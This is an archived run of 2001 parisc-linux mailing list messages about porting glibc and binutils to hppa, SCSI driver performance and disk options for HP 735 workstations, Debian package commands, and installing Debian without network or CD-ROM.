References: <20011020170907.G1037@bubble.sa.bigpond.net.au> <20011022233534.X1037@bubble.sa.bigpond.net.au> <20011022120405.A5199@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620666 28722 80.91.229.3 (22 Nov 2014 01:44:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:26 +0000 (UTC)
To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 22 10:11:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta06ps.bigpond.com (mta06ps.bigpond.com [144.135.25.138])
	by dsl2.external.hp.com (Postfix) with ESMTP id 46ED4482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 22 Oct 2001 10:11:17 -0600 (MDT)
Original-Received: from bubble.local ([144.135.25.72]) by
          mta06ps.bigpond.com (Netscape Messaging Server 4.15) with SMTP
          id GLM7XK00.JO1 for <parisc-linux@lists.parisc-linux.org>; Tue,
          23 Oct 2001 02:17:44 +1000 
Original-Received: from 144.136.192.57 ([144.136.192.57]) by PSMAM02.mailsvc.email.bigpond.com(MailRouter V2.9k 8383/3486733); 23 Oct 2001 02:17:39
Original-Received: (qmail 20890 invoked by uid 179); 22 Oct 2001 16:11:08 -0000
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
In-Reply-To: <20011022120405.A5199@megatonmonkey.net>; from carlos@megatonmonkey.net on Mon, Oct 22, 2001 at 12:04:05PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:12776

On Mon, Oct 22, 2001 at 12:04:05PM -0400, Carlos O'Donell Jr. wrote:
> A,
> 
> Re: Latest glibc changes being applied to what tree?

debian glibc-2.2.4-3, with willy's glibc22-hppa.dpatch

> Are we to assume that the glibc in pehc is now being kept up to date?

No.

> Or have these changes made it to the pool on debian? (via hppa's dpatch).

Not yet, but they should soon





From - Thu Nov 08 21:20:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New 53c700 driver preformance evaluation
Date: Mon, 22 Oct 2001 11:52:44 -0600
Lines: 45
Approved: news@gmane.org
Message-ID: <200110221752.LAA07067@puffin.external.hp.com>
References: <5116@telia.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620666 28725 80.91.229.3 (22 Nov 2014 01:44:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
	Richard Hirst <rhirst@linuxcare.com>,
	JamesBottomley@zaphod.halden.lillfab.se
To: Daniel Engstrom <5116@telia.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 22 11:56:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4C8E6482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 22 Oct 2001 11:56:27 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id LAA07067;
	Mon, 22 Oct 2001 11:52:44 -0600
In-Reply-To: Message from Daniel Engstrom <5116@telia.com> 
   of "Sun, 21 Oct 2001 16:19:44 +0200." <20011021161944.G6663@zaphod.halden.lillfab.se> 
Xref: news.gmane.org gmane.linux.ports.parisc:12777

Daniel Engstrom wrote:
> Hi,
> 
> When I got the new driver running I also did some more bonnie runs with the
> following drivers: 
> 2.4.9-pa32 with the old driver and disconnects disbled
> 2.4.9-pa61 with the new driver and tagged-queueing disabled
> HPUX 10.20

Daniel,
thanks for running these tests...always interesting to see.

The difference between -pa32 and -pa61 are numerous.
Lots of bug fixes many new minor features working.
Really need to compare same -paXX with/without disconnects
enabled in order to compare that variable.

> I wonder if the lower speed for block I/O with the new driver is due to the
> disabled disconnects?

I don't think so.
In general, disconnects increase context switching/cpu utilization
but improve SCSI bus utilization for environments with lots of
devices and lots of IO "in flight". ie more throughput at the cost of
more latency. For a single threaded test, I would expect disconnects
*enabled* to have lower throughput than when disabled.

Also, the fact that -pa61 output is more in line with hpux suggest -pa32
could be lying about it's performance. ie the data isn't on media
like bonnie expects. Same might be true for hpux on input. dunno.
Need to troll and bonnie or other disk io perf mailing lists.

BTW, another HPUX (only on workstations) thing is to set WCE (write
cache enable) on the SCSI device. This allows the SCSI device to claim
a write has completed before the data is actually on media.
WCE + disabling disconnects is usally a good combo for perf since the
device can immediately report good status. The problem is a
SCSI bus reset or power failure will blow cached data away.
That's why HPUX servers don't permit WCE on.

hth,
grant




From - Thu Nov 08 21:20:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Large SCSI disks on a 735/125
Date: Mon, 22 Oct 2001 12:01:57 -0600
Lines: 13
Approved: news@gmane.org
Message-ID: <200110221801.MAA07129@puffin.external.hp.com>
References: <taggart@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620667 28728 80.91.229.3 (22 Nov 2014 01:44:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:27 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 22 12:05:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id A4CE7482A
	for <parisc-linux@parisc-linux.org>; Mon, 22 Oct 2001 12:05:59 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id MAA07129;
	Mon, 22 Oct 2001 12:01:57 -0600
In-Reply-To: Message from Matt Taggart <taggart@carmen.fc.hp.com> 
   of "Sun, 21 Oct 2001 16:27:21 MDT." <20011021222721.6658837D25@carmen.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:12778

Matt Taggart wrote:
> Last year sometime I saw Paul Bame install an 18GB 10k RPM LVD Seagate
> Cheetah drive in a 712 and install parisc-linux on it. It worked great :)

The LVD SCSI drives can also grok SE SCSI signal.
Not true for HVD drives.
But perhaps adding an SE SCSI interface to a 735 is possible.
(to address the original problem)

grant




From - Thu Nov 08 21:20:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave.anglin@nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Large SCSI disks on a 735/125
Date: Mon, 22 Oct 2001 14:42:38 -0400
Organization: National Research Council of Canada
Lines: 27
Approved: news@gmane.org
Message-ID: <000b01c15b2a$1bac1120$c064f684@hia.nrc.ca>
References: <200110221801.MAA07129@puffin.external.hp.com>
Reply-To: "John David Anglin" <dave.anglin@nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620667 28732 80.91.229.3 (22 Nov 2014 01:44:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:27 +0000 (UTC)
Cc: <parisc-linux@parisc-linux.org>
To: "Matt Taggart" <taggart@carmen.fc.hp.com>,
	"Grant Grundler" <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 22 12:49:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6BB1B482A
	for <parisc-linux@parisc-linux.org>; Mon, 22 Oct 2001 12:49:47 -0600 (MDT)
Original-Received: from hiamlx (hiamlx.hia.nrc.ca [132.246.100.192])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with SMTP id f9MImEoE024456;
	Mon, 22 Oct 2001 14:48:15 -0400 (EDT)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Xref: news.gmane.org gmane.linux.ports.parisc:12779

> Matt Taggart wrote:
> > Last year sometime I saw Paul Bame install an 18GB 10k RPM LVD Seagate
> > Cheetah drive in a 712 and install parisc-linux on it. It worked great
:)
>
> The LVD SCSI drives can also grok SE SCSI signal.
> Not true for HVD drives.
> But perhaps adding an SE SCSI interface to a 735 is possible.
> (to address the original problem)

The 735 normally has a SE SCSI interface.  Integrating LVD drives into
a 735 would be a little more complicated than the SE drive that I suggested.

As far as I can tell, most LVD drives have16-bit interfaces.  Thus, a 8-16
bit adapter is needed.  Also, you need an external terminator since LVD
drives don't have any provision for internal termination.  The above implies
that LVD drives must be installed at the end of the bus.  I don't think it
would
be possible to install a LVD drive in the 735's internal hard drive bay
because
of these constraints.  It would have to be in an external case.

Dave





From - Thu Nov 08 21:20:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen+parisc-linux@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Latest debian binutils broken?
Date: Mon, 22 Oct 2001 20:53:07 +0200 (CEST)
Lines: 23
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0110222052030.30215-100000@alpha.bocc.de>
References: <20011022095826.J1037@bubble.sa.bigpond.net.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620667 28735 80.91.229.3 (22 Nov 2014 01:44:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:27 +0000 (UTC)
Cc: <parisc-linux@parisc-linux.org>
To: Alan Modra <amodra@bigpond.net.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 22 12:55:02 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id E2B05482A
	for <parisc-linux@parisc-linux.org>; Mon, 22 Oct 2001 12:54:59 -0600 (MDT)
Original-Received: from ppp12.scram.de (ppp12.scram.de [195.226.127.205])
	by mail.scram.de (8.11.0/8.11.0) with ESMTP id f9MIskF21103;
	Mon, 22 Oct 2001 20:54:47 +0200 (CEST)
X-X-Sender: <jochen@alpha.bocc.de>
In-Reply-To: <20011022095826.J1037@bubble.sa.bigpond.net.au>
Xref: news.gmane.org gmane.linux.ports.parisc:12780

Hi Alan,

On Mon, 22 Oct 2001, Alan Modra wrote:

> ldd as ?

hp720:~# ldd /usr/bin/as
        libopcodes-2.11.92.0.7.so => /usr/lib/libopcodes-2.11.92.0.7.so 
(0x4002b000)
        libbfd-2.11.92.0.7.so => /usr/lib/libbfd-2.11.92.0.7.so 
(0x40049000)
        libc.so.6 => /lib/libc.so.6 (0x400b3000)
        /lib/ld.so.1 => /lib/ld.so.1 (0x40000000)
hp720:~#

All i did was to apt-get upgrade my box to the latest level...

Cheers,
Jochen





From - Thu Nov 08 21:20:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?Pasi_K=E4rkk=E4inen?= <pasik@iki.fi>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] how to use dpkg/dselect/apt-get ???
Date: Mon, 22 Oct 2001 23:39:25 +0300 (EEST)
Lines: 78
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0110222332481.2564-100000@edu.joroinen.fi>
References: <01102021292604.00166@nick>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1416620668 28736 80.91.229.3 (22 Nov 2014 01:44:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:28 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: Nicholas Leippe <nick@byu.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 22 14:39:30 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from edu.joroinen.fi (edu.joroinen.fi [195.156.135.125])
	by dsl2.external.hp.com (Postfix) with SMTP id C095E482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 22 Oct 2001 14:39:27 -0600 (MDT)
Original-Received: (qmail 8616 invoked by uid 519); 22 Oct 2001 20:39:25 -0000
Original-Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 22 Oct 2001 20:39:25 -0000
X-X-Sender: <pk@edu.joroinen.fi>
In-Reply-To: <01102021292604.00166@nick>
Xref: news.gmane.org gmane.linux.ports.parisc:12781

On Sat, 20 Oct 2001, Nicholas Leippe wrote:

> Thankyou for the link.  Unfortunately, I've already read that one
> and found it of little help.
>
> I am not against whatever debian uses considering all the wonderful
> features it's supposed to have, just rather annoyed that it is such a
> difficult/disgusting interface.
>

Some basic commands:

This will update the list of available packages:

=09apt-get update

This will upgrade all of your installed packages to newest versions:

=09apt-get dist-upgrade

Searching for a package 'foo':

=09apt-cache search foo

Download and install package 'foo':

=09apt-get install foo

Listing the files in package 'foo':

=09dpkg -L foo

Displaying status of package 'foo':

=09dpkg -s foo

Display information of not-installed package 'foo':

=09apt-cache show foo

Removing package 'foo':

=09apt-get remove foo
or
=09dpkg --purge foo

Checking to what package file 'foo' belongs to:

=09dpkg -S /path/to/foo


And so on..

the 'sources' for apt are configured in /etc/apt/sources.list
You can add your favourite mirror in there.

And if you need to find which package includes file 'foo' you can check it
from http://packages.debian.org (use the search that let's you search insid=
e
packages).


Hope that helps.


- Pasi K=E4rkk=E4inen


                                   ^
                                .     .
                                 Linux
                              /    -    \
                             Choice.of.the
                           .Next.Generation.





From - Thu Nov 08 21:20:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brian S. Julin" <bri@mojo.calyx.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] upgrade
Date: Mon, 22 Oct 2001 17:32:12 -0400 (EDT)
Lines: 16
Approved: news@gmane.org
Message-ID: <Pine.BSO.4.33.0110221729570.26163-100000@mojo.calyx.net>
References: <20011022143943.A15967@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620668 28739 80.91.229.3 (22 Nov 2014 01:44:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:28 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 22 15:32:15 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.calyx.net (mail.calyx.com [216.82.160.19])
	by dsl2.external.hp.com (Postfix) with SMTP id F0137482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 22 Oct 2001 15:32:13 -0600 (MDT)
Original-Received: (qmail 5250 invoked from network); 22 Oct 2001 21:32:11 -0000
Original-Received: from mojo.calyx.com (HELO mojo) (gs4jq1lc98zy3xjj0icm@216.82.160.22)
  by mail.calyx.com with SMTP; 22 Oct 2001 21:32:11 -0000
In-Reply-To: <20011022143943.A15967@parcelfarce.linux.theplanet.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12782

On Mon, 22 Oct 2001, Matthew Wilcox wrote:
> Should work well.  You should upgrade your kernel before you upgrade
> glibc, but aprt from that I can't think of any other problems.  Beware
> that the current CVS kernel is probably broken for just about everyone
> except rbrad :-)

Hmm... my kernel config/source is a little off kilter being that I've
ripped out HIL to develop the new driver for it.  Is there a
CVS tag or date I could use to check out a working version?

--
Brian





From - Thu Nov 08 21:20:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew van de Werken <mvdw73@dingoblue.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] How to install with no network or CD-ROM
Date: Tue, 23 Oct 2001 08:43:51 +1000
Organization: none
Lines: 68
Approved: news@gmane.org
Message-ID: <01102308435104.21423@duey>
Reply-To: mvdw73@dingoblue.net.au
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620668 28740 80.91.229.3 (22 Nov 2014 01:44:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:28 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 22 16:47:33 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail002.syd.optusnet.com.au (mail002.syd.optusnet.com.au [203.2.75.245])
	by dsl2.external.hp.com (Postfix) with ESMTP id 08DCC482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 22 Oct 2001 16:47:32 -0600 (MDT)
Original-Received: from duey (wdcax23-122.dialup.optusnet.com.au [210.49.129.122])
	by mail002.syd.optusnet.com.au (8.11.1/8.11.1) with SMTP id f9MMhUs13729
	for <parisc-linux@lists.parisc-linux.org>; Tue, 23 Oct 2001 08:43:31 +1000
X-Mailer: KMail [version 1.2]
Xref: news.gmane.org gmane.linux.ports.parisc:12783

OK, having finally got the debian installer working on my HP-735/99 with
neither network nor CD-ROM, I thought I'd share my experience with others, so
no-one else has to duplicate the effort.

What you will need to do this is the following:

(1) An external (50-pin) SCSI disk to install onto;
(2) A separate, external SCSI disk to put the CD image onto;
(3) A third SCSI disk to put a temporary file system onto;
(4) A working unix/linux machine with a SCSI interface to drive the three
disks (the 'host' - I used an x86 system running Linux, so that's what I'll
use in all my examples);
(5) The Installation .iso image from parisc-linux.org (we'll call it
image.iso for ease of remembrance)

Note that (1) and (3) could be the same disk, as long as it is
pre-partitioned with enough space to put the entire CD-ROM onto (more on this
later). For the sake of the example, we'll call the disks sda, sdb and sdc on
both machines (host and target).

The first thing to do is to hook up all your scsi drives, and boot the host
machine.

'dd' the iso image directly onto disk 2.
# dd if=/<path>/image.iso of=/dev/sdb bs=512

Now make a filesystem on sdc, or use an already-existing one. Note that you
will need to dump the cd data into the top of the filesystem, ie, if it's
mounted on /mnt/hostfs, that's where you need to copy the cd data. We'll need
to set up the loopback device so we can see inside our iso image to get the
data off it.

For the sake of our example, we'll assume sdc already has a filesystem on it,
and sdc3 is blank of all data.

# mkdir /mnt/hostfs
# mkdir /mnt/iso
# losetup /dev/loop0 /<path>/image.iso
# mount -t iso9660 /dev/loop0 /mnt/iso
# mount /dev/sdc3 /mnt/hostfs
# cp -Rv /mnt/iso/* /mnt/hostfs
<waiting, waiting...>

OK, now that the copying is done, unmount the filesystems and close the
loopback device, and shutdown so you can unplug the devices.

# umount /mnt/iso
# umount /mnt/hostfs
# losetup -d /dev/loop0
# shutdown -h now

Remove the disks, and plug them all into your HP box. Also plug in a serial
console. At the boot prompt, choose to boot from p1 (b p1), which will be the
cd-rom image disk. This will start the debian installer.

The trick now is to firstly not mount the hostfs filesystem, and choose to
install from a hard disk partition. This should get you through the
 installer.

I hope this has helped at least someone else,

Cheers,
Matt van de Werken.

-------------------------------------------------------




From - Thu Nov 08 21:20:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ben Collins <bcollins@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Fix for hppa-linux ld.so with newer binutils
Date: Mon, 22 Oct 2001 21:31:39 -0400
Lines: 27
Approved: news@gmane.org
Message-ID: <20011022213139.H10952@visi.net>
References: <20011020170907.G1037@bubble.sa.bigpond.net.au> <20011022233534.X1037@bubble.sa.bigpond.net.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620669 28746 80.91.229.3 (22 Nov 2014 01:44:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:29 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org, randolph@tausq.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 22 19:53:08 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from blimpo.internal.net (ppp01.ts1-1.NewportNews.visi.net [209.8.196.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id C5BF4482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 22 Oct 2001 19:53:06 -0600 (MDT)
Original-Received: from bmc by blimpo.internal.net with local (Exim 3.32 #1 (Debian))
	id 15vqPr-0007R2-00; Mon, 22 Oct 2001 21:31:39 -0400
Content-Disposition: inline
In-Reply-To: <20011022233534.X1037@bubble.sa.bigpond.net.au>
User-Agent: Mutt/1.3.22i
Original-Sender: Ben Collins <bmc@visi.net>
Xref: news.gmane.org gmane.linux.ports.parisc:12784

On Mon, Oct 22, 2001 at 11:35:34PM +0930, Alan Modra wrote:
> On Sat, Oct 20, 2001 at 05:09:07PM +0930, Alan Modra wrote:
> > 	* sysdeps/hppa/dl-machine.h (elf_machine_dynamic):  Make it a
> > 	const function.  Do not use &_DYNAMIC as .got entries for global
> > 	syms are no longer initialised.  Instead they rely on the reloc,
> > 	which hasn't yet been applied.
> > 	(elf_machine_load_address): Make it const.  Call
> > 	elf_machine_dynamic as that function is called fropm rtld anyway.
> 
> The following, which includes the above patch, should allow glibc to
> once again work on hppa-linux with current binutils.  A number of other
> horrible things fixed:

Excellent. This fixes the ld.so problem. I can only assume that the 235
test suite failures are due to the one missing patch from the current
Debian binutils package.

Randolph, any estimate on when that fixed package will be available?

-- 
 .----------=======-=-======-=========-----------=====------------=-=-----.
/                   Ben Collins    --    Debian GNU/Linux                  \
`  bcollins@debian.org  --  bcollins@openldap.org  --  bcollins@linux.com  '
 `---=========------=======-------------=-=-----=-===-======-------=--=---'




From - Thu Nov 08 21:20:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Fix for hppa-linux ld.so with newer binutils
Date: Mon, 22 Oct 2001 18:59:54 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20011022185954.B14102@tausq.org>
References: <20011020170907.G1037@bubble.sa.bigpond.net.au> <20011022233534.X1037@bubble.sa.bigpond.net.au> <20011022213139.H10952@visi.net>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620669 28749 80.91.229.3 (22 Nov 2014 01:44:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ben Collins <bcollins@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 22 20:00:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 76BB7482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 22 Oct 2001 20:00:10 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id vdofiaaa for parisc-linux@lists.parisc-linux.org; Mon, 22 Oct 2001 18:55:21 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 15vqrC-0004AJ-00; Mon, 22 Oct 2001 18:59:54 -0700
Content-Disposition: inline
In-Reply-To: <20011022213139.H10952@visi.net>
User-Agent: Mutt/1.3.20i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: Randolph Chung <randolph@tausq.org>
Xref: news.gmane.org gmane.linux.ports.parisc:12785

> Excellent. This fixes the ld.so problem. I can only assume that the 235
> test suite failures are due to the one missing patch from the current
> Debian binutils package.
> 
> Randolph, any estimate on when that fixed package will be available?

Alan is debugging this as I write this. Will send the patch to Chris as
soon as we get something that works.

randolph
-- 
Debian Developer <tausq@debian.org>
http://www.TauSq.org/




From - Thu Nov 08 21:20:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Yay, binutils fixed for hppa
Date: Mon, 22 Oct 2001 22:17:14 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20011022221714.O537@tausq.org>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620669 28751 80.91.229.3 (22 Nov 2014 01:44:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:29 +0000 (UTC)
Cc: amodra@bigpond.net.au, parisc-linux@parisc-linux.org
To: chris@debian.org, bcollins@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 22 23:17:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id AD287482A
	for <parisc-linux@parisc-linux.org>; Mon, 22 Oct 2001 23:17:37 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id bbqfiaaa for parisc-linux@parisc-linux.org; Mon, 22 Oct 2001 22:12:41 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 15vtwA-0004O9-00; Mon, 22 Oct 2001 22:17:14 -0700
Content-Disposition: inline
User-Agent: Mutt/1.3.20i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: Randolph Chung <randolph@tausq.org>
Xref: news.gmane.org gmane.linux.ports.parisc:12786

With many thanks to Alan Modra binutils seems to be fixed now. Chris,
can you please build a new binutils from cvs? Everything should be there, and
the hppa-specific patch you currently have in the package should no longer 
be needed.

The patch Ben has is needed to build glibc with the new binutils.

hppa is also a bit behind on gcc-3.0. I'll try to build new ones RSN.

randolph
-- 
Debian Developer <tausq@debian.org>
http://www.TauSq.org/




From - Thu Nov 08 21:20:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Christopher C. Chimelis" <chris@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Yay, binutils fixed for hppa
Date: Tue, 23 Oct 2001 01:20:00 -0400 (EDT)
Lines: 24
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0110230118590.16337-100000@spawn.hockeyfiend.com>
References: <20011022221714.O537@tausq.org>
NNTP-Posting-Host: plane.gmane.org
